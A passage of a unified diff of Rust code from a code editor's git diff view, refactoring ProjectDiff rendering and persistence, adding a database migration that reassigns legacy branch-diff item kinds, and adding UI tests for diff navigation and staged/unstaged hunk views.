+            diff.added_to_workspace(workspace, window, cx)
         });
     }
 }
 
 impl Render for ProjectDiff {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let is_empty = self.multibuffer.read(cx).is_empty();
-        let is_loading = self.branch_diff.read(cx).is_tree_base_loading() || !self._task.is_ready();
-
-        let is_branch_diff_view = matches!(self.diff_base(cx), DiffBase::Merge { .. });
-
-        div()
-            .track_focus(&self.focus_handle)
-            .key_context(if is_empty { "EmptyPane" } else { "GitDiff" })
-            .when(is_branch_diff_view, |this| {
-                this.on_action(cx.listener(Self::review_diff))
-            })
-            .bg(cx.theme().colors().editor_background)
-            .flex()
-            .items_center()
-            .justify_center()
-            .size_full()
-            .when(is_empty && is_loading, |el| {
-                let rems = TextSize::Large.rems(cx);
-                el.child(
-                    Icon::new(IconName::LoadCircle)
-                        .size(IconSize::Custom(rems))
-                        .color(Color::Accent)
-                        .with_rotate_animation(3)
-                        .into_any_element(),
-                )
-            })
-            .when(is_empty && !is_loading, |el| {
-                let remote_button = if let Some(panel) = self
-                    .workspace
-                    .upgrade()
-                    .and_then(|workspace| workspace.read(cx).panel::<GitPanel>(cx))
-                {
-                    panel.update(cx, |panel, cx| panel.render_remote_button(cx))
-                } else {
-                    None
-                };
-                let keybinding_focus_handle = self.focus_handle(cx);
-                el.child(
-                    v_flex()
-                        .gap_1()
-                        .child(
-                            h_flex()
-                                .justify_around()
-                                .child(Label::new("No uncommitted changes")),
-                        )
-                        .map(|el| match remote_button {
-                            Some(button) => el.child(h_flex().justify_around().child(button)),
-                            None => el.child(
-                                h_flex()
-                                    .justify_around()
-                                    .child(Label::new("Remote up to date")),
-                            ),
-                        })
-                        .child(
-                            h_flex().justify_around().mt_1().child(
-                                Button::new("project-diff-close-button", "Close")
-                                    // .style(ButtonStyle::Transparent)
-                                    .key_binding(KeyBinding::for_action_in(
-                                        &CloseActiveItem::default(),
-                                        &keybinding_focus_handle,
-                                        cx,
-                                    ))
-                                    .on_click(move |_, window, cx| {
-                                        window.focus(&keybinding_focus_handle, cx);
-                                        window.dispatch_action(
-                                            Box::new(CloseActiveItem::default()),
-                                            cx,
-                                        );
-                                    }),
-                            ),
-                        ),
-                )
-            })
-            .when(!is_empty, |el| el.child(self.editor.clone()))
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        div().size_full().child(self.diff.clone())
     }
 }
 
@@ -1517,46 +579,38 @@ impl SerializableItem for ProjectDiff {
     fn deserialize(
         project: Entity<Project>,
         workspace: WeakEntity<Workspace>,
-        workspace_id: workspace::WorkspaceId,
-        item_id: workspace::ItemId,
+        _workspace_id: workspace::WorkspaceId,
+        _item_id: workspace::ItemId,
         window: &mut Window,
         cx: &mut App,
     ) -> Task<Result<Entity<Self>>> {
-        let db = persistence::ProjectDiffDb::global(cx);
         window.spawn(cx, async move |cx| {
-            let diff_base = db.get_diff_base(item_id, workspace_id)?;
-
-            let diff = cx.update(|window, cx| {
-                let branch_diff = cx
-                    .new(|cx| branch_diff::BranchDiff::new(diff_base, project.clone(), window, cx));
+            cx.update(|window, cx| {
+                let branch_diff = cx.new(|cx| {
+                    diff_buffer_list::DiffBufferList::new(
+                        DiffBase::Head,
+                        project.clone(),
+                        window,
+                        cx,
+                    )
+                });
                 let workspace = workspace.upgrade().context("workspace gone")?;
                 anyhow::Ok(
                     cx.new(|cx| ProjectDiff::new_impl(branch_diff, project, workspace, window, cx)),
                 )
-            })??;
-
-            Ok(diff)
+            })?
         })
     }
 
     fn serialize(
         &mut self,
-        workspace: &mut Workspace,
-        item_id: workspace::ItemId,
-        _closing: bool,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
+        _: &mut Workspace,
+        _: workspace::ItemId,
+        _: bool,
+        _: &mut Window,
+        _: &mut Context<Self>,
     ) -> Option<Task<Result<()>>> {
-        let workspace_id = workspace.database_id()?;
-        let diff_base = self.diff_base(cx).clone();
-
-        let db = persistence::ProjectDiffDb::global(cx);
-        Some(cx.background_spawn({
-            async move {
-                db.save_diff_base(item_id, workspace_id, diff_base.clone())
-                    .await
-            }
-        }))
+        Some(Task::ready(Ok(())))
     }
 
     fn should_serialize(&self, _: &Self::Event) -> bool {
@@ -1564,14 +618,14 @@ impl SerializableItem for ProjectDiff {
     }
 }
 
-mod persistence {
+pub(crate) mod persistence {
 
     use anyhow::Context as _;
     use db::{
         sqlez::{domain::Domain, thread_safe_connection::ThreadSafeConnection},
         sqlez_macros::sql,
     };
-    use project::git_store::branch_diff::DiffBase;
+    use project::git_store::diff_buffer_list::DiffBase;
     use workspace::{ItemId, WorkspaceDb, WorkspaceId};
 
     pub struct ProjectDiffDb(ThreadSafeConnection);
@@ -1579,7 +633,11 @@ mod persistence {
     impl Domain for ProjectDiffDb {
         const NAME: &str = stringify!(ProjectDiffDb);
 
-        const MIGRATIONS: &[&str] = &[sql!(
+        // Legacy databases stored branch diffs under the "ProjectDiff" item
+        // kind, disambiguated by the `diff_base` column. Step 1 rewrites those
+        // item kinds so that each diff view owns its serialized kind.
+        const MIGRATIONS: &[&str] = &[
+            sql!(
                 CREATE TABLE project_diffs(
                     workspace_id INTEGER,
                     item_id INTEGER UNIQUE,
@@ -1590,13 +648,23 @@ mod persistence {
                     FOREIGN KEY(workspace_id) REFERENCES workspaces(workspace_id)
                     ON DELETE CASCADE
                 ) STRICT;
-        )];
+            ),
+            r#"
+                UPDATE items SET kind = 'BranchDiff'
+                WHERE kind = 'ProjectDiff' AND EXISTS (
+                    SELECT 1 FROM project_diffs
+                    WHERE project_diffs.item_id = items.item_id
+                    AND project_diffs.workspace_id = items.workspace_id
+                    AND project_diffs.diff_base LIKE '{"Merge"%'
+                );
+            "#,
+        ];
     }
 
     db::static_connection!(ProjectDiffDb, [WorkspaceDb]);
 
     impl ProjectDiffDb {
-        pub async fn save_diff_base(
+        pub async fn save_project_diff_base(
             &self,
             item_id: ItemId,
             workspace_id: WorkspaceId,
@@ -1616,7 +684,7 @@ mod persistence {
             .await
         }
 
-        pub fn get_diff_base(
+        pub fn get_project_diff_base(
             &self,
             item_id: ItemId,
             workspace_id: WorkspaceId,
@@ -1702,7 +770,6 @@ impl ToolbarItemView for ProjectDiffToolbar {
     ) -> ToolbarItemLocation {
         self.project_diff = active_pane_item
             .and_then(|item| item.act_as::<ProjectDiff>(cx))
-            .filter(|item| item.read(cx).diff_base(cx) == &DiffBase::Head)
             .map(|entity| entity.downgrade());
         if self.project_diff.is_some() {
             ToolbarItemLocation::PrimaryRight
@@ -1720,15 +787,6 @@ impl ToolbarItemView for ProjectDiffToolbar {
     }
 }
 
-struct ButtonStates {
-    stage: bool,
-    unstage: bool,
-    prev_next: bool,
-    selection: bool,
-    stage_all: bool,
-    unstage_all: bool,
-}
-
 impl Render for ProjectDiffToolbar {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let Some(project_diff) = self.project_diff(cx) else {
@@ -1736,10 +794,10 @@ impl Render for ProjectDiffToolbar {
         };
         let focus_handle = project_diff.focus_handle(cx);
         let button_states = project_diff.read(cx).button_states(cx);
-        let review_count = project_diff.read(cx).total_review_comment_count();
+        let review_count = project_diff.read(cx).total_review_comment_count(cx);
 
         let (additions, deletions) = project_diff.read(cx).calculate_changed_lines(cx);
-        let is_multibuffer_empty = project_diff.read(cx).multibuffer.read(cx).is_empty();
+        let is_multibuffer_empty = project_diff.read(cx).multibuffer(cx).read(cx).is_empty();
 
         h_flex()
             .my_neg_1()
@@ -1890,7 +948,10 @@ impl Render for ProjectDiffToolbar {
     }
 }
 
-fn render_send_review_to_agent_button(review_count: usize, focus_handle: &FocusHandle) -> Button {
+pub(crate) fn render_send_review_to_agent_button(
+    review_count: usize,
+    focus_handle: &FocusHandle,
+) -> Button {
     Button::new(
         "send-review",
         format!("Send Review to Agent ({})", review_count),
@@ -1907,207 +968,19 @@ fn render_send_review_to_agent_button(review_count: usize, focus_handle: &FocusH
     ))
 }
 
-pub struct BranchDiffToolbar {
-    project_diff: Option<WeakEntity<ProjectDiff>>,
-}
-
-impl BranchDiffToolbar {
-    pub fn new(_cx: &mut Context<Self>) -> Self {
-        Self { project_diff: None }
-    }
-
-    fn project_diff(&self, _: &App) -> Option<Entity<ProjectDiff>> {
-        self.project_diff.as_ref()?.upgrade()
-    }
-
-    fn dispatch_action(&self, action: &dyn Action, window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(project_diff) = self.project_diff(cx) {
-            project_diff.focus_handle(cx).focus(window, cx);
-        }
-        let action = action.boxed_clone();
-        cx.defer(move |cx| {
-            cx.dispatch_action(action.as_ref());
-        })
-    }
-}
-
-impl EventEmitter<ToolbarItemEvent> for BranchDiffToolbar {}
-
-impl ToolbarItemView for BranchDiffToolbar {
-    fn set_active_pane_item(
-        &mut self,
-        active_pane_item: Option<&dyn ItemHandle>,
-        _: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> ToolbarItemLocation {
-        self.project_diff = active_pane_item
-            .and_then(|item| item.act_as::<ProjectDiff>(cx))
-            .filter(|item| matches!(item.read(cx).diff_base(cx), DiffBase::Merge { .. }))
-            .map(|entity| entity.downgrade());
-        if self.project_diff.is_some() {
-            ToolbarItemLocation::PrimaryRight
-        } else {
-            ToolbarItemLocation::Hidden
-        }
-    }
-
-    fn pane_focus_update(
-        &mut self,
-        _pane_focused: bool,
-        _window: &mut Window,
-        _cx: &mut Context<Self>,
-    ) {
-    }
-}
-
-impl Render for BranchDiffToolbar {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let Some(project_diff) = self.project_diff(cx) else {
-            return div();
-        };
-        let focus_handle = project_diff.focus_handle(cx);
-        let review_count = project_diff.read(cx).total_review_comment_count();
-        let (additions, deletions) = project_diff.read(cx).calculate_changed_lines(cx);
-        let diff_base = project_diff.read(cx).diff_base(cx).clone();
-        let DiffBase::Merge { base_ref } = diff_base else {
-            return div();
-        };
-        let selected_base_ref = base_ref.clone();
-        let base_ref_label = format!("Base: {base_ref}");
-        let repository = project_diff.read(cx).branch_diff.read(cx).repo().cloned();
-        let workspace = project_diff.read(cx).workspace.clone();
-        let project_diff_for_picker = project_diff.downgrade();
-
-        let is_multibuffer_empty = project_diff.read(cx).multibuffer.read(cx).is_empty();
-        let is_ai_enabled = AgentSettings::get_global(cx).enabled(cx);
-
-        let show_review_button = !is_multibuffer_empty && is_ai_enabled;
-
-        h_flex()
-            .my_neg_1()
-            .py_1()
-            .gap_1p5()
-            .flex_wrap()
-            .justify_between()
-            .when(!is_multibuffer_empty, |this| {
-                this.child(DiffStat::new(
-                    "branch-diff-stat",
-                    additions as usize,
-                    deletions as usize,
-                ))
-            })
-            .child(Divider::vertical().ml_1())
-            .child(
-                PopoverMenu::new("branch-diff-base-branch-picker")
-                    .menu(move |window, cx| {
-                        let project_diff = project_diff_for_picker.clone();
-                        let on_select = Arc::new(
-                            move |branch: git::repository::Branch,
-                                  _window: &mut Window,
-                                  cx: &mut App| {
-                                let base_ref: SharedString = branch.name().to_owned().into();
-                                project_diff
-                                    .update(cx, |project_diff, cx| {
-                                        let branch_diff = &mut project_diff.branch_diff;
-                                        branch_diff.update(cx, |branch_diff, cx| {
-                                            branch_diff
-                                                .set_diff_base(DiffBase::Merge { base_ref }, cx);
-                                        });
-                                        cx.notify();
-                                    })
-                                    .ok();
-                            },
-                        );
-
-                        Some(branch_picker::select_popover(
-                            workspace.clone(),
-                            repository.clone(),
-                            Some(selected_base_ref.clone()),
-                            on_select,
-                            window,
-                            cx,
-                        ))
-                    })
-                    .trigger_with_tooltip(
-                        Button::new("branch-diff-base-branch", base_ref_label).end_icon(
-                            Icon::new(IconName::ChevronDown)
-                                .size(IconSize::XSmall)
-                                .color(Color::Muted),
-                        ),
-                        Tooltip::text("Select Base Branch"),
-                    ),
-            )
-            .when(show_review_button, |this| {
-                let focus_handle = focus_handle.clone();
-                this.child(Divider::vertical()).child(
-                    Button::new("review-diff", "Review Diff")
-                        .start_icon(
-                            Icon::new(IconName::ZedAssistant)
-                                .size(IconSize::Small)
-                                .color(Color::Muted),
-                        )
-                        .tooltip(move |_, cx| {
-                            Tooltip::with_meta_in(
-                                "Review Diff",
-                                Some(&ReviewDiff),
-                                "Send this diff for your last agent to review.",
-                                &focus_handle,
-                                cx,
-                            )
-                        })
-                        .on_click(cx.listener(|this, _, window, cx| {
-                            this.dispatch_action(&ReviewDiff, window, cx);
-                        })),
-                )
-            })
-            .when(review_count > 0, |this| {
-                this.child(Divider::vertical()).child(
-                    render_send_review_to_agent_button(review_count, &focus_handle).on_click(
-                        cx.listener(|this, _, window, cx| {
-                            this.dispatch_action(&SendReviewToAgent, window, cx)
-                        }),
-                    ),
-                )
-            })
-    }
-}
-
-struct BranchDiffAddon {
-    branch_diff: Entity<branch_diff::BranchDiff>,
-}
-
-impl Addon for BranchDiffAddon {
-    fn to_any(&self) -> &dyn std::any::Any {
-        self
-    }
-
-    fn override_status_for_buffer_id(
-        &self,
-        buffer_id: language::BufferId,
-        cx: &App,
-    ) -> Option<FileStatus> {
-        self.branch_diff
-            .read(cx)
-            .status_for_buffer_id(buffer_id, cx)
-    }
-}
-
 #[cfg(test)]
 mod tests {
-    use collections::HashMap;
+    use buffer_diff::DiffHunkSecondaryStatus;
     use db::indoc;
     use editor::test::editor_test_context::{EditorTestContext, assert_state_with_diff};
-    use git::status::{TrackedStatus, UnmergedStatus, UnmergedStatusCode};
     use gpui::TestAppContext;
+    use multi_buffer::PathKey;
     use project::FakeFs;
     use serde_json::json;
     use settings::{DiffViewStyle, GitPanelGroupBy, GitPanelSortBy, SettingsStore};
     use std::path::Path;
     use unindent::Unindent as _;
-    use util::{
-        path,
-        rel_path::{RelPath, rel_path},
-    };
+    use util::{path, rel_path::rel_path};
 
     use workspace::MultiWorkspace;
 
@@ -2133,8 +1006,69 @@ mod tests {
         });
     }
 
+    use zed_actions::git as git_actions;
+
+    use crate::project_diff::{self, ProjectDiff};
+
+    #[test]
+    fn test_legacy_branch_diff_rows_migrate_to_their_own_kind() {
+        use db::sqlez::{
+            connection::Connection,
+            domain::{Domain as _, Migrator as _},
+        };
+
+        let connection = Connection::open_memory(Some(
+            "test_legacy_branch_diff_rows_migrate_to_their_own_kind",
+        ));
+        connection.exec("PRAGMA foreign_keys = OFF").unwrap()().unwrap();
+        workspace::WorkspaceDb::migrate(&connection).unwrap();
+        connection
+            .migrate(
+                persistence::ProjectDiffDb::NAME,
+                &persistence::ProjectDiffDb::MIGRATIONS[..1],
+                &mut |_, _, _| false,
+            )
+            .unwrap();
+
+        connection
+            .exec(
+                "INSERT INTO workspaces(workspace_id) VALUES (1);
+                INSERT INTO panes(pane_id, workspace_id, active) VALUES (1, 1, 1);
+                INSERT INTO items(item_id, workspace_id, pane_id, kind, position, active) VALUES
+                    (1, 1, 1, 'ProjectDiff', 0, 1),
+                    (2, 1, 1, 'ProjectDiff', 1, 0)",
+            )
+            .unwrap()()
+        .unwrap();
+        let head = serde_json::to_string(&DiffBase::Head).unwrap();
+        let merge = serde_json::to_string(&DiffBase::Merge {
+            base_ref: "main".into(),
+        })
+        .unwrap();
+        connection
+            .exec_bound::<(String, String)>(
+                "INSERT INTO project_diffs(workspace_id, item_id, diff_base) VALUES (1, 1, ?), (1, 2, ?)",
+            )
+            .unwrap()((head, merge))
+        .unwrap();
+
+        persistence::ProjectDiffDb::migrate(&connection).unwrap();
+
+        let kinds = connection
+            .select::<(i64, String)>("SELECT item_id, kind FROM items ORDER BY item_id")
+            .unwrap()()
+        .unwrap();
+        assert_eq!(
+            kinds,
+            [
+                (1, "ProjectDiff".to_string()),
+                (2, "BranchDiff".to_string())
+            ]
+        );
+    }
+
     #[gpui::test]
-    async fn test_save_after_restore(cx: &mut TestAppContext) {
+    async fn test_update_on_uncommit(cx: &mut TestAppContext) {
         init_test(cx);
 
         let fs = FakeFs::new(cx.executor());
@@ -2142,16 +1076,431 @@ mod tests {
             path!("/project"),
             json!({
                 ".git": {},
-                "foo.txt": "FOO\n",
+                "README.md": "# My cool project\n".to_owned()
             }),
         )
         .await;
-        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
-
-        fs.set_head_for_repo(
-            path!("/project/.git").as_ref(),
-            &[("foo.txt", "foo\n".into())],
-            "deadbeef",
+        fs.set_head_and_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("README.md", "# My cool project\n".to_owned())],
+        );
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let worktree_id = project.read_with(cx, |project, cx| {
+            project.worktrees(cx).next().unwrap().read(cx).id()
+        });
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        let _editor = workspace
+            .update_in(cx, |workspace, window, cx| {
+                workspace.open_path((worktree_id, rel_path("README.md")), None, true, window, cx)
+            })
+            .await
+            .unwrap()
+            .downcast::<Editor>()
+            .unwrap();
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+        let item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        cx.focus(&item);
+        let editor = item.read_with(cx, |item, cx| item.editor(cx).read(cx).rhs_editor().clone());
+
+        fs.set_head_and_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[(
+                "README.md",
+                "# My cool project\nDetails to come.\n".to_owned(),
+            )],
+        );
+        cx.run_until_parked();
+
+        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
+
+        cx.assert_excerpts_with_selections("[EXCERPT]\nˇ# My cool project\nDetails to come.\n");
+    }
+
+    #[gpui::test]
+    async fn test_deploy_at_respects_active_repository_selection(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project_a"),
+            json!({
+                ".git": {},
+                "a.txt": "CHANGED_A\n",
+            }),
+        )
+        .await;
+        fs.insert_tree(
+            path!("/project_b"),
+            json!({
+                ".git": {},
+                "b.txt": "CHANGED_B\n",
+            }),
+        )
+        .await;
+
+        fs.set_head_and_index_for_repo(
+            Path::new(path!("/project_a/.git")),
+            &[("a.txt", "original_a\n".to_string())],
+        );
+        fs.set_head_and_index_for_repo(
+            Path::new(path!("/project_b/.git")),
+            &[("b.txt", "original_b\n".to_string())],
+        );
+
+        let project = Project::test(
+            fs.clone(),
+            [
+                Path::new(path!("/project_a")),
+                Path::new(path!("/project_b")),
+            ],
+            cx,
+        )
+        .await;
+
+        let (worktree_a_id, worktree_b_id) = project.read_with(cx, |project, cx| {
+            let mut worktrees: Vec<_> = project.worktrees(cx).collect();
+            worktrees.sort_by_key(|w| w.read(cx).abs_path());
+            (worktrees[0].read(cx).id(), worktrees[1].read(cx).id())
+        });
+
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        // Select project A explicitly and open the diff.
+        workspace.update(cx, |workspace, cx| {
+            let git_store = workspace.project().read(cx).git_store().clone();
+            git_store.update(cx, |git_store, cx| {
+                git_store.set_active_repo_for_worktree(worktree_a_id, cx);
+            });
+        });
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let diff_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        let paths_a = diff_item.read_with(cx, |diff, cx| diff.excerpt_paths(cx));
+        assert_eq!(paths_a.len(), 1);
+        assert_eq!(*paths_a[0], *"a.txt");
+
+        // Switch the explicit active repository to project B and re-run the diff action.
+        workspace.update(cx, |workspace, cx| {
+            let git_store = workspace.project().read(cx).git_store().clone();
+            git_store.update(cx, |git_store, cx| {
+                git_store.set_active_repo_for_worktree(worktree_b_id, cx);
+            });
+        });
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let same_diff_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        assert_eq!(diff_item.entity_id(), same_diff_item.entity_id());
+
+        let paths_b = diff_item.read_with(cx, |diff, cx| diff.excerpt_paths(cx));
+        assert_eq!(paths_b.len(), 1);
+        assert_eq!(*paths_b[0], *"b.txt");
+    }
+
+    #[gpui::test]
+    async fn test_project_diff_actions_filter_mixed_staged_and_unstaged_hunks(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+
+        let committed_contents = r#"
+            fn main() {
+                println!("hello world");
+            }
+        "#
+        .unindent();
+        let staged_contents = r#"
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+        let file_contents = r#"
+            // print goodbye
+            fn main() {
+                println!("goodbye world");
+            }
+        "#
+        .unindent();
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "src": {
+                    "main.rs": file_contents,
+                }
+            }),
+        )
+        .await;
+
+        fs.set_head_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", committed_contents)],
+            "deadbeef",
+        );
+        fs.set_index_for_repo(
+            Path::new(path!("/project/.git")),
+            &[("src/main.rs", staged_contents)],
+        );
+
+        let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+        cx.run_until_parked();
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let diff_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        let diff_editor =
+            diff_item.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
+        assert_eq!(
+            diff_editor.read_with(cx, |editor, cx| {
+                let snapshot = editor.buffer().read(cx).snapshot(cx);
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .map(|hunk| hunk.status.secondary)
+                    .collect::<Vec<_>>()
+            }),
+            vec![
+                DiffHunkSecondaryStatus::HasSecondaryHunk,
+                DiffHunkSecondaryStatus::NoSecondaryHunk,
+            ]
+        );
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(git_actions::ViewUnstagedChanges.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let unstaged_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<UnstagedDiff>(cx).unwrap()
+        });
+        assert_ne!(diff_item.entity_id(), unstaged_item.entity_id());
+        let unstaged_editor = workspace.update(cx, |workspace, cx| {
+            let active_item = workspace.active_item(cx).unwrap();
+            assert_eq!(active_item.tab_content_text(0, cx), "Unstaged Changes");
+            active_item
+                .act_as::<DiffMultibuffer>(cx)
+                .unwrap()
+                .read(cx)
+                .editor()
+                .read(cx)
+                .rhs_editor()
+                .clone()
+        });
+        assert_eq!(
+            unstaged_editor.read_with(cx, |editor, cx| {
+                let snapshot = editor.buffer().read(cx).snapshot(cx);
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .map(|hunk| hunk.status.secondary)
+                    .collect::<Vec<_>>()
+            }),
+            vec![DiffHunkSecondaryStatus::NoSecondaryHunk]
+        );
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(git_actions::ViewUncommittedChanges.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let uncommitted_item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        assert_eq!(diff_item.entity_id(), uncommitted_item.entity_id());
+        assert_eq!(
+            uncommitted_item.read_with(cx, |diff, cx| diff.tab_content_text(0, cx)),
+            "Uncommitted Changes"
+        );
+        let uncommitted_editor = uncommitted_item
+            .read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
+        assert_eq!(
+            uncommitted_editor.read_with(cx, |editor, cx| {
+                let snapshot = editor.buffer().read(cx).snapshot(cx);
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .map(|hunk| hunk.status.secondary)
+                    .collect::<Vec<_>>()
+            }),
+            vec![
+                DiffHunkSecondaryStatus::HasSecondaryHunk,
+                DiffHunkSecondaryStatus::NoSecondaryHunk,
+            ]
+        );
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(git_actions::ViewStagedChanges.boxed_clone(), cx);
+        });
+        cx.run_until_parked();
+
+        let staged_editor = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<StagedDiff>(cx).unwrap();
+            let active_item = workspace.active_item(cx).unwrap();
+            assert_eq!(active_item.tab_content_text(0, cx), "Staged Changes");
+            active_item
+                .act_as::<DiffMultibuffer>(cx)
+                .unwrap()
+                .read(cx)
+                .editor()
+                .read(cx)
+                .rhs_editor()
+                .clone()
+        });
+        assert_eq!(
+            staged_editor.read_with(cx, |editor, cx| {
+                let snapshot = editor.buffer().read(cx).snapshot(cx);
+                editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], &snapshot)
+                    .map(|hunk| hunk.status.secondary)
+                    .collect::<Vec<_>>()
+            }),
+            vec![DiffHunkSecondaryStatus::NoSecondaryHunk]
+        );
+    }
+
+    #[gpui::test]
+    async fn test_go_to_prev_hunk_multibuffer(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/a"),
+            json!({
+                ".git": {},
+                "a.txt": "created\n",
+                "b.txt": "really changed\n",
+                "c.txt": "unchanged\n"
+            }),
+        )
+        .await;
+
+        fs.set_head_and_index_for_repo(
+            Path::new(path!("/a/.git")),
+            &[
+                ("b.txt", "before\n".to_string()),
+                ("c.txt", "unchanged\n".to_string()),
+                ("d.txt", "deleted\n".to_string()),
+            ],
+        );
+
+        let project = Project::test(fs, [Path::new(path!("/a"))], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+        cx.run_until_parked();
+
+        cx.focus(&workspace);
+        cx.update(|window, cx| {
+            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        });
+
+        cx.run_until_parked();
+
+        let item = workspace.update(cx, |workspace, cx| {
+            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
+        });
+        cx.focus(&item);
+        let editor = item.read_with(cx, |item, cx| item.editor(cx).read(cx).rhs_editor().clone());
+
+        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
+
+        cx.set_selections_state(indoc!(
+            "
+            before
+            really changed
+
+            deleted
+
+            ˇcreated
+        "
+        ));
+
+        cx.dispatch_action(editor::actions::GoToPreviousHunk);
+
+        cx.assert_excerpts_with_selections(indoc!(
+            "
+            [EXCERPT]
+            before
+            really changed
+            [EXCERPT]
+            ˇ[FOLDED]
+            [EXCERPT]
+            created
+        "
+        ));
+
+        cx.dispatch_action(editor::actions::GoToPreviousHunk);
+
+        cx.assert_excerpts_with_selections(indoc!(
+            "
+            [EXCERPT]
+            ˇbefore
+            really changed
+            [EXCERPT]
+            [FOLDED]
+            [EXCERPT]
+            created
+        "
+        ));
+    }
+
+    #[gpui::test]
+    async fn test_save_after_restore(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "foo.txt": "FOO\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
+
+        fs.set_head_for_repo(
+            path!("/project/.git").as_ref(),
+            &[("foo.txt", "foo\n".into())],
+            "deadbeef",
         );
         fs.set_index_for_repo(
             path!("/project/.git").as_ref(),
@@ -2166,7 +1515,7 @@ mod tests {
         });
         cx.run_until_parked();
 
-        let editor = diff.read_with(cx, |diff, cx| diff.editor.read(cx).rhs_editor().clone());
+        let editor = diff.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
         assert_state_with_diff(
             &editor,
             cx,
@@ -2222,12 +1571,14 @@ mod tests {
         cx.run_until_parked();
 
         let editor = cx.update_window_entity(&diff, |diff, window, cx| {
-            diff.move_to_path(
-                PathKey::with_sort_prefix(2, rel_path("foo").into_arc()),
-                window,
-                cx,
-            );
-            diff.editor.read(cx).rhs_editor().clone()
+            diff.diff.update(cx, |diff, cx| {
+                diff.move_to_path(
+                    PathKey::with_sort_prefix(2, rel_path("foo").into_arc()),
+                    window,
+                    cx,
+                )
+            });
+            diff.editor(cx).read(cx).rhs_editor().clone()
         });
         assert_state_with_diff(
             &editor,
@@ -2243,12 +1594,14 @@ mod tests {
         );
 
         let editor = cx.update_window_entity(&diff, |diff, window, cx| {
-            diff.move_to_path(
-                PathKey::with_sort_prefix(2, rel_path("bar").into_arc()),
-                window,
-                cx,
-            );
-            diff.editor.read(cx).rhs_editor().clone()
